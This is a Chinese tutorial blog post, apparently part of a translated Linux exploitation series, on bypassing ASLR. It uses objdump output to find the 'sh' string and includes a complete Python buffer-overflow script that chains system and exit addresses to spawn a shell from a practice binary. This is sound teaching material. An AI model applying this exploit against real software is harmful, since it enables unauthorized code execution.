Linux Exploit系列之六 绕过ASLR - 第一部分

绕过ASLR - 第一部分

什么是 ASLR?

地址空间布局随机化(ASLR)是随机化的利用缓解技术:

       堆栈地址

       堆地址

       共享库地址

一旦上述地址被随机化,特别是当共享库地址被随机化时,我们采取的绕过NX bit的方法不会生效,因为攻击者需要知道libc基地址。但这种缓解技术并不完全是万无一失的,因此在这篇文章中我们可以看到如何绕过共享库地址随机化!

原文地址:https://bbs.pediy.com/thread-217107.htm

也许已经有人发现了,这个系列没有系列五……其实是五太麻烦了,限制太多,不太好写,所以就没有了,也许以后会有

这个绕过ASLR的技巧非常有效,作者和译者也讲的非常清楚,改起来也非常清晰,唯一有点困难的地方,就是所谓的system_arg的地址的获取,这里作者说的比较模糊,第四和第五中也有同样的问题,我结合我的调试来说一下。

其实作者在之前的exp.py中是有提到的,这里的system_arg,其实需要的是环境变量sh的字符串,也就是“sh”字符串的地址。在我们这里,使用objdump可以获得

jourluohua@jourluohua-virtual-machine:~/work/test6$ objdump -s vuln | grep sh
Contents of section .gnu.hash:
 8048598 03000000 01000200 2f62696e 2f736800  ......../bin/sh.
 0080 63746f72 00617267 63007368 6f727420  ctor.argc.short 
 00c0 69740073 686f7274 20696e74 0073697a  it.short int.siz
 00d0 65747970 65007368 656c6c00           etype.shell. 

我们使用第一个地址,也就是所谓的0x8048698后边这一串。这个代表从0x8048598开始的字符串,因此“s”的地址是0x8048598+12+1=0x80485a5

将这个地址和disassemble获得的system和exit地址都填进去,就可以获得成功了。

老规矩,附上我的exp.py代码:

 1 #exp.py
 2 #!/usr/bin/env python
 3 import struct
 4 from subprocess import call
 5 system = 0x8048370
 6 exit = 0x8048390
 7 system_arg = 0x80485a5     #Obtained from hexdump output of e$
 8 #endianess convertion
 9 def conv(num):
10  return struct.pack("<I",num)#ystem + exit + system_arg
11 buf = "A" * 272
12 buf += conv(system)
13 buf += conv(exit)
14 buf += conv(system_arg)
15 print "Calling vulnerable program"
16 call(["./vuln", buf])

 

posted @ 2018-05-05 20:23  转换无极限  阅读(592)  评论(0编辑  收藏  举报